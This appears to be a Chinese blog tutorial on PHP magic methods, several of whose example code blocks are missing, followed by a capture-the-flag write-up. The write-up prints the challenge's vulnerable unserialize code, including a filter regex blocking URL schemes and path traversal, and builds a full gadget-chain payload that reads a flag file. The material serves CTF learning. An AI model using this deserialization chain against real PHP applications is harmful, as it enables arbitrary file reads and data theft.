__construct(),__destruct(),__call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone() 和 __debugInfo()等方法在 PHP 中被称为魔术方法(Magic methods)。在命名自己的类方法时不能使用这些方法名,除非是想使用其魔术功能。
一、没啥特点的魔术方法
1、__sleep() 和 __wakeup()
简单来说,就是在某个带有这类魔术方法的类进行序列化(__sleeep),反序列化(__wakeup)时,会进行调用的方法。sleep的调用时间在执行序列化操作之前,wakeup的调用时间在执行反序列化之前。
代码演示(摘自cnblog):
输出:
可以看到序列化前后user类id值不同,且序列化得到的字符串中没有id的值。
2、__toString()
示例代码(来自PHP官网):
输出:
3、__invoke()
示例代码(来自PHP官网):
输出:
4、__set_state()
看不懂,也不知道干啥用的,还没见过,想看的可以看一下
https://blog.csdn.net/weixin_30561177/article/details/96805714
这篇文章
二、__construct()与__destruct()
学名叫做构造函数和析构函数。
很好理解,看名字就能明白。__construct是在类实例化的时候调用的方法(反序列化过程不调用),__destruct是在类销毁时调用的方法(反序列化形成的类在销毁时也会调用)。
示例代码1:
输出:
示例代码2:
输出:
三、"重载( overloading )"
划重点, 未定义或不可见的类属性或方法,即如果这个变量或方法未定义,也会调用相应魔术方法 。
1、属性重载
官网介绍的很清楚了,这里直接给示例代码:
输出:
2、方法重载
同上,直接给示例代码:
输出:
以上就是(几乎)所有的PHP魔术方法。下面用一道例题来简单介绍一下php反序列化漏洞。
具体原理百度上很多,我也不是完全清楚,就不献丑了。
题目如下:
private $var;
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}
class Show
{
public $source;
public $str;
public function __construct($file='index.php')
{
$this->source = $file;
echo $this->source.'解析开始'."<br>";
}
public function __toString()
{
$this->str['str']->source;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|..|fllllllaaaaaag/i',$this->source)) {
die('hacker!');
//flag in /fllllllaaaaaag
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|../i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
$func = $this->params;
return $func();
}
}
if(isset($_GET['chal']))
{
$chal = unserialize($_GET['chal']);
}
else
{
$show = new Show('index.php');
$show->_show();
}
?>
看到unserialize,很容易联想到反序列化。题目中也用到了很多魔法函数,于是就需要我们利用这些函数构造利用链。
首先,我们先要确定反序列化利用链的"头"。这些魔法函数中,能够直接被调用的只有__wakeup,所以这里肯定是入口。
其次,我们需要读文件拿到flag,然而这里能读到文件的只有Read类的file_get方法,于是可以想到利用链的"尾"肯定是这里。结合这里的魔术函数__invoke,可以想到将这个类作为方法调用就能读取文件。
然后我们需要一个类将头和尾连接起来。我们可以看到Test类有一个魔术方法__get,其中可以调用方法的方法名任意可控,于是便可以想到用这里来调用Read类,这里便是利用链的倒数第二环。
然而想要调用__get魔术方法,就需要调用Test类不可访问的属性。那怎样才能实现呢?联系我们利用链的头,在__wakeup中调用了$this-\>source,但是这里肯定不能调用到Test类的__get方法。此时再看明显没啥正经用处的__toString魔术方法,发现这里的变量有三层,于是便可以利用这里。
首先,实例化一个Show类,将其source属性赋值为一个新的Show类。在调用这个新的Show类的时候,便触发了__toString魔术方法,尝试调用$this-\>str['str']-\>source属性。然后我们将str['str']实例化为一个Test类,便成功调用了其不存在的source属性,触发了__get方法。然后我们需要实例化一个Read类,将其$var变量设置为我们要读的文件,并将实例化的Read类赋值给刚刚实例化的Test类的params变量,就形成了完整的利用链。
payload如下:
class Read {
private $var;
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
public function __construct(){
$this->var="/fllllllaaaaaag";
}
}
class Show
{
public $source;
public $str;
public function __construct($file='index.php')
{
$this->source = $file;
echo $this->source.'解析开始'."<br>";
}
public function __toString()
{
$this->str['str']->source;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|fllllllaaaaaag/i',$this->source)) {
die('hacker!');
//flag in /fllllllaaaaaag
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
$func = $this->params;
return $func();
}
}
if(isset($_GET['chal']))
{
$chal = unserialize($_GET['chal']);
}
else
{
$show = new Show('index.php');
$show->_show();
}
$show=new Show();
$show->source= new Show();
$show->source->str['str']=new Test();
$read=new Read();
$show->source->str['str']->params=$read;
echo urlencode(serialize($show));
成功拿到flag